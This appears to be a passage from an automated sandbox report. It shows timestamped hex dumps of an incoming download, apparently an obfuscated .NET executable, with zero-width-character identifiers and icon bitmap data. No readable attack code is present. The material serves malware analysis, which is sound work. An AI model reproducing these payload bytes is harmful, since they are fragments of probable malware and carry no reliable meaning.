dInfoMethodInfoCultureInfoMemberInfoParameterInfoProcessStartInfomoc::pApget_BeepSleeplpset_TabStopc::qSystem.Linqc::rset_ShowInTaskbarClearget_KeyCharHttpRequestHeadersenderrangeDecoderBufferComponentResourceManagerDebu
2021-12-01 08:15:23 UTC	4261	IN	Data Raw: 81 ae e2 80 8c e2 81 ad e2 80 ae e2 81 aa e2 80 aa e2 80 aa e2 80 8c e2 80 8d e2 80 ae e2 80 8b e2 80 aa e2 80 ae 00 e2 81 ac e2 80 ac e2 80 ab e2 80 8d e2 80 ab e2 80 8d e2 80 aa e2 81 ad e2 80 ae e2 80 8d e2 80 8b e2 80 8e e2 81 ab e2 80 ad e2 80 ae e2 80 8d e2 80 8b e2 80 8b e2 80 ad e2 80 8f e2 80 8d e2 80 ad e2 80 8b e2 80 8c e2 81 ac e2 81 ae e2 81 af e2 80 ab e2 80 ab e2 80 8c e2 80 8e e2 81 ac e2 81 ab e2 80 8d e2 81 ab e2 80 8c e2 81 ac e2 80 8c e2 80 8c e2 80 aa e2 80 ae 00 e2 80 8c e2 81 ae e2 81 ab e2 80 ae e2 80 ac e2 80 ab e2 81 ad e2 81 ab e2 81 af e2 80 8c e2 80 aa e2 80 8f e2 81 ac e2 80 ae e2 80 8f e2 80 8b e2 81 ad e2 80 ae e2 80 aa e2 81 ad e2 80 8d e2 80 ae e2 81 ad e2 80 ad e2 80 ab e2 80 aa e2 80 8b e2 80 8b e2 81 ae e2 80 8f e2 81 Data Ascii:
2021-12-01 08:15:23 UTC	4277	IN	Data Raw: ac e2 80 ae 00 e2 81 ab e2 80 ab e2 81 af e2 80 8c e2 81 af e2 81 aa e2 80 aa e2 80 ae e2 80 ac e2 80 ac e2 81 ad e2 80 ad e2 80 8b e2 80 ad e2 81 af e2 80 8d e2 81 ae e2 80 ad e2 80 ac e2 80 8f e2 80 ab e2 80 ab e2 81 aa e2 80 8c e2 80 8e e2 80 8c e2 80 8f e2 80 8c e2 81 ad e2 81 ad e2 81 ad e2 81 ab e2 81 ab e2 80 ac e2 81 ac e2 81 ad e2 80 ac e2 80 ab e2 80 8f e2 81 ac e2 80 ae 00 e2 80 8f e2 80 8e e2 80 8c e2 81 aa e2 81 ab e2 81 af e2 80 8b e2 81 af e2 80 8c e2 80 ae e2 80 ac e2 81 ac e2 80 8d e2 81 af e2 81 ac e2 80 8d e2 81 aa e2 80 ae e2 81 ab e2 80 ab e2 80 8c e2 80 ac e2 80 ab e2 80 8f e2 80 ac e2 80 ab e2 80 8e e2 80 8d e2 80 8b e2 80 ab e2 80 ac e2 81 ac e2 80 8e e2 81 ac e2 80 8e e2 80 ac e2 80 ae e2 80 ac e2 80 8f e2 81 ac e2 80 ae 00 e2 80 Data Ascii:
2021-12-01 08:15:23 UTC	4293	IN	Data Raw: 8c e2 81 ac e2 80 ab e2 80 8e e2 81 aa e2 81 ab e2 81 ae e2 81 ad e2 80 8f e2 80 8d e2 81 ac e2 80 ae e2 80 ae e2 80 8d e2 81 ad e2 80 aa e2 80 8f e2 81 ab e2 80 aa e2 81 af e2 80 8b e2 81 ae e2 81 ae e2 80 8b e2 80 8d e2 80 8b e2 81 ac e2 80 ac e2 81 af e2 80 ae 00 e2 80 8f e2 80 ae e2 80 aa e2 80 aa e2 81 aa e2 80 8c e2 80 8c e2 81 ac e2 80 ad e2 80 8e e2 81 ad e2 80 ac e2 80 ad e2 80 ab e2 81 ab e2 80 8d e2 80 8f e2 80 aa e2 80 8e e2 80 8c e2 80 8d e2 81 ac e2 81 ab e2 80 8d e2 81 ac e2 80 ae e2 81 ad e2 81 af e2 80 ad e2 80 8b e2 80 ab e2 80 ac e2 81 af e2 80 8e e2 80 8b e2 81 ac e2 80 8f e2 80 ad e2 80 ac e2 81 af e2 80 ae 00 e2 81 ad e2 81 aa e2 80 8f e2 81 ae e2 80 8b e2 80 8f e2 80 ae e2 81 ad e2 80 8d e2 81 ab e2 80 8b e2 80 ab e2 80 8b e2 81 ae Data Ascii:
2021-12-01 08:15:23 UTC	4309	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2021-12-01 08:15:23 UTC	4325	IN	Data Raw: a4 a4 a4 e1 a4 a4 a4 e0 a4 a4 a4 e0 a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4 a4 a4 de a4 a4 a4 de a4 a4 a4 dd a4 a4 a4 dc a4 a4 a4 da a4 a4 a4 d8 a4 a4 a4 d5 a4 a4 a4 d2 a4 a4 a4 cf a4 a4 a4 cd a4 a4 a4 cb a4 a4 a4 ca a4 a4 a4 c9 a4 a4 a4 c8 a4 a4 a4 c6 a4 a4 a4 c5 a4 a4 a4 c2 a4 a4 a4 bf a4 a4 a4 bb a4 a4 a4 b7 a4 a4 a4 b3 a4 a4 a4 b0 a4 a4 a4 ac a4 a4 a4 a9 a4 a4 a4 a5 a4 a4 a4 a1 a4 a4 a4 9c a4 a4 a4 97 a4 a4 a4 8f a4 a4 a4 87 a4 a4 a4 7e a4 a4 a4 72 a4 a4 a4 66 a4 a4 a4 57 a4 a4 a4 48 a4 a4 a4 38 a4 a4 a4 29 a4 a4 a4 1c a4 a4 a4 12 a4 a4 a4 0a a4 a4 a4 05 a4 a4 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~rfWH8)
2021-12-01 08:15:23 UTC	4341	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2021-12-01 08:15:23 UTC	4357	IN	Data Raw: a1 61 0e ff a0 60 0e ff a0 60 0d ff 9f 60 0d ff 9f 5f 0d ff 9e 5f 0d ff 9e 5f 0c ff 9d 5f 0c ff 9d 5e 0c ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9b 5d 0a ff 9a 5c 0a ef 9a 5c 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: a```____^^^]]]\\0
2021-12-01 08:15:23 UTC	4373	IN	Data Raw: a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a7 65 12 ff a6 65 11 ff a6 64 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a4 63 10 ff a3 63 0f ff a3 62 0f ff a2 62 0f ff a2 61 0f ff a1 61 0e ff a1 61 0e ff a0 60 0e ff a0 60 0d ff 9f 60 0d ff 9e 5f 0d ff 9e 5f 0c ff 9d 5e 0c ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9b 5c 0a ff 9a 5c 0a af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: gffeeedddcccbbaaa```__^^^]]\\
2021-12-01 08:15:23 UTC	4377	IN	Data Raw: aa 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 13 ff a8 66 12 ff a7 66 12 ff a7 65 12 ff a6 65 11 ff a6 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a4 63 10 ff a3 63 10 ff a3 62 0f ff a2 62 0f ff a2 62 0f ff a1 61 0e ff a1 61 0e ff a0 60 0e ff a0 60 0d ff 9f 60 0d ff 9e 5f 0d ff 9e 5f 0c ff 9d 5e 0c ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9b 5c 0a ff 9a 5c 0a 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: hhggfffeeeddcccbbbaa```__^^^]]\\p
2021-12-01 08:15:23 UTC	4393	IN	Data Raw: b1 6d 17 ff b1 6c 17 ff b0 6c 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 15 ff ad 6a 14 ff ac 69 14 ff ac 69 14 ff ab 68 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a6 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a4 63 10 ff a3 62 0f ff a2 62 0f ff a2 62 0f ff a1 61 0e ff a1 61 0e ff a0 60 0e ff 9f 60 0d ff 9f 5f 0d ff 9e 5f 0c ff 9d 5f 0c ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9a 5c 0a ff 9a 5c 0a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: mlllkkjjjiihhhggffeeeddccbbbaa``___^^]]\\
2021-12-01 08:15:23 UTC	4409	IN	Data Raw: b7 71 1a ff b6 70 1a ff b6 70 19 ff b5 6f 19 ff b4 6f 19 ff b4 6f 18 ff b3 6e 18 ff b3 6e 18 ff b2 6d 17 ff b1 6d 17 ff b1 6c 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6b 15 ff ae 6a 15 ff ad 6a 14 ff ac 69 14 ff ac 69 13 ff ab 68 13 ff aa 68 13 ff aa 67 13 ff a9 67 13 ff a8 66 13 ff a8 66 12 ff a7 66 12 ff a7 65 11 ff a6 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 0f ff a2 62 0f ff a1 61 0e ff a1 61 0e ff a0 60 0e ff a0 60 0d ff 9f 60 0d ff 9e 5f 0d ff 9e 5f 0c ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9a 5c 0a ff 9a 5c 0a 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: qppooonnmmllkkkjjiihhggfffeeddccbbaa```__^^]]\\
2021-12-01 08:15:23 UTC	4425	IN	Data Raw: ba 73 1c ff ba 73 1c ff b9 72 1c ff b8 72 1b ff b8 72 1b ff b7 71 1a ff b7 71 1a ff b6 70 1a ff b5 70 19 ff b5 6f 19 ff b4 6f 18 ff b3 6e 18 ff b3 6e 18 ff b2 6d 17 ff b1 6d 17 ff b1 6c 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 14 ff ad 69 14 ff ac 69 14 ff ab 68 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a7 66 12 ff a7 65 12 ff a6 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 0f ff a2 62 0f ff a1 61 0e ff a1 61 0e ff a0 60 0e ff 9f 60 0d ff 9f 5f 0d ff 9e 5f 0c ff 9d 5e 0c ff 9d 5e 0c ff 9c 5d 0b ff 9b 5d 0b ff 9b 5c 0a ff 9a 5c 0a 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ssrrrqqppoonnmmllkkjjiihhhggffeeddccbbaa``__^^]]\\
2021-12-01 08:15:23 UTC	4441	IN	Data Raw: bc 74 1d ff bb 74 1d ff bb 73 1c ff ba 73 1c ff b9 72 1c ff b8 72 1b ff b8 72 1b ff b7 71 1a ff b6 71 1a ff b6 70 1a ff b5 70 19 ff b4 6f 19 ff b4 6f 18 ff b3 6e 18 ff b2 6e 18 ff b2 6d 17 ff b1 6d 17 ff b0 6c 16 ff b0 6c 16 ff af 6b 16 ff ae 6b 15 ff ae 6a 15 ff ad 6a 14 ff ac 69 14 ff ac 69 14 ff ab 68 13 ff aa 68 13 ff aa 67 13 ff a9 67 13 ff a8 66 13 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a6 64 11 ff a5 64 11 ff a4 63 10 ff a4 63 10 ff a3 62 0f ff a2 62 0f ff a2 61 0f ff a1 61 0e ff a0 61 0e ff a0 60 0d ff 9f 60 0d ff 9e 5f 0d ff 9e 5f 0c ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9a 5c 0a 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ttssrrrqqppoonnmmllkkjjiihhggffeeddccbbaaa``__^^]]\
2021-12-01 08:15:23 UTC	4457	IN	Data Raw: bb 74 1c ff ba 73 1c ff b9 73 1c ff b9 72 1b ff b8 72 1b ff b7 71 1a ff b7 71 1a ff b6 70 1a ff b5 70 19 ff b5 6f 19 ff b4 6f 19 ff b3 6e 18 ff b3 6e 18 ff b2 6d 17 ff b1 6d 17 ff b1 6c 17 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6b 15 ff ad 6a 15 ff ad 6a 14 ff ac 69 14 ff ab 69 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a7 66 12 ff a7 65 12 ff a6 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 0f ff a2 62 0f ff a1 61 0e ff a1 61 0e ff a0 60 0e ff 9f 60 0d ff 9f 5f 0d ff f9 d1 9b ff 9d 5f 0c ff 9d 5e 0c ff 9c 5e 0b ff 9b 5d 0b ff 9b 5d 0a ff 9a 5c 0a bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: tssrrqqppoonnmmllkkkjjiihhggffeeddccbbaa``__^^]]\
2021-12-01 08:15:23 UTC	4473	IN	Data Raw: b7 71 1a ff b7 71 1a ff b6 70 1a ff b5 70 19 ff b5 6f 19 ff b4 6f 19 ff b4 6e 18 ff b3 6e 18 ff b2 6e 17 ff b2 6d 17 ff b1 6d 17 ff b0 6c 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 14 ff ad 69 14 ff ac 69 14 ff ab 69 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a6 64 11 ff a5 64 11 ff a4 63 10 ff a4 63 10 ff a3 63 0f ff a2 62 0f ff a2 62 0f ff a1 61 0e ff a0 61 0e ff a0 60 0d ff 9f 60 0d ff f3 ca 92 ff f3 ca 92 ff 9d 5e 0c ff 9d 5e 0c ff 9c 5d 0b ff 9b 5d 0b ff 9b 5c 0a ff 9a 5c 0a 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: qqppoonnnmmllkkjjiiihhggffeeddcccbbaa``^^]]\\
2021-12-01 08:15:23 UTC	4489	IN	Data Raw: b2 6d 17 ff b1 6d 17 ff b1 6c 17 ff b0 6c 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 15 ff ad 6a 14 ff ac 69 14 ff ac 69 13 ff ab 68 13 ff aa 68 13 ff aa 67 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a6 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 0f ff a2 62 0f ff a2 61 0f ff a1 61 0e ff a0 61 0e ff a0 60 0d ff d0 9c 59 ff ff d9 a5 ff ff d9 a5 ff b5 7d 32 ff 9d 5e 0c ff 9c 5d 0b ff 9b 5d 0b ff 9b 5d 0a ff 9a 5c 0a ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: mmlllkkjjjiihhgggffeeeddccbbaaa`Y}2^]]]\
2021-12-01 08:15:23 UTC	4505	IN	Data Raw: ab 68 13 ff ab 68 13 ff aa 68 13 ff aa 67 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a7 65 11 ff a6 65 11 ff a5 64 11 ff a5 64 11 ff a4 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 0f ff a2 62 0f ff a2 62 0f ff a1 61 0e ff a1 61 0e ff a0 60 0e ff d0 9c 59 ff ff d9 a5 ff ff d9 a5 ff ff d9 a5 ff c8 93 4e ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9b 5c 0a ff 9a 5c 0a 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: hhhgggffeeedddccbbbaa`YN^^]]\\
2021-12-01 08:15:23 UTC	4521	IN	Data Raw: a3 63 10 ff a3 62 0f ff a2 62 0f ff a2 62 0f ff a2 61 0f ff a1 61 0e ff a1 61 0e ff b2 77 2a ff f9 d2 9c ff ff d9 a5 ff ff d9 a5 ff ff d9 a5 ff ff d9 a5 ff db aa 6b ff 9d 5e 0c ff 9c 5e 0b ff 9c 5d 0b ff 9b 5d 0b ff 9b 5d 0b ff 9a 5c 0a ff 9a 5c 0a 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cbbbaaaw*k^^]]]\\p
2021-12-01 08:15:23 UTC	4537	IN	Data Raw: 9b 5d 0b ff 9a 5c 0a ff 9a 5c 0a cf 9a 5c 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ]\\\0
2021-12-01 08:15:23 UTC	4553	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2021-12-01 08:15:23 UTC	4569	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f ff ff ff ff c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f ff ff ff ff e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f ff ff ff ff e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f ff ff ff ff e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 ff ff ff ff ff f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 ff ff ff ff ff fc 00 00 00 00 Data Ascii: ??
2021-12-01 08:15:23 UTC	4585	IN	Data Raw: b4 6e 18 ff b4 6f 18 ff b4 6f 18 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 19 ff b4 6f 18 ff b4 6f 18 ff b4 6e 18 ff b3 6e 18 ff b3 6e 18 ff b3 6e 18 ff b2 6e 17 ff b2 6d 17 ff b2 6d 17 ff b1 6d 17 ff b1 6c 16 ff b0 6c 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 15 ff ad 6a 14 ff ac 69 14 ff ab 69 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 66 13 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a5 64 11 ff a4 64 10 ff a4 63 10 ff a3 62 0f ff a2 62 0f ff a1 61 0e ff a0 60 0e ff 9f 60 0d ff 9e 5f 0c ff 9d 5e 0c ff 9c 5e 0b ff 9b 5d 0b ff 9a 5c 0a f3 9b 5c 0a 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: noooooooooooonnnnnmmmlllkkjjjiihhgffeeddcbba``_^^]\\/
2021-12-01 08:15:23 UTC	4601	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f3 db c0 ff da 93 43 ff d4 85 2b ff d3 84 2a ff d2 84 2a ff d1 83 29 ff cf 82 28 ff ce 81 27 ff cd 80 27 ff cc 7f 26 ff ca 7e 25 ff c9 7d 24 ff c8 7c 24 ff c7 7b 23 ff c4 7b 22 ff c3 7a 21 ff c2 79 21 ff c0 78 20 ff bf 77 1f ff be 76 1e ff bd 75 1e ff bb 74 1d ff ba 73 1c ff b9 72 1b ff b7 71 1a ff b6 70 1a ff b5 6f 19 ff b3 6e 18 ff b2 6d 17 ff b1 6c 17 ff af 6b 16 ff ae 6a 15 ff ad 6a 14 ff ab 69 13 ff aa 68 13 ff a9 67 13 ff a7 66 12 ff a6 65 11 ff a5 64 10 ff a3 63 10 ff a2 62 0f ff a1 61 0e ff 9f 60 0d ff 9e 5f 0c ff 9d 5e 0c Data Ascii: C+**)(''&~%}$\|${#{"z!y!x wvutsrqponmlkjjihgfedcba`_^
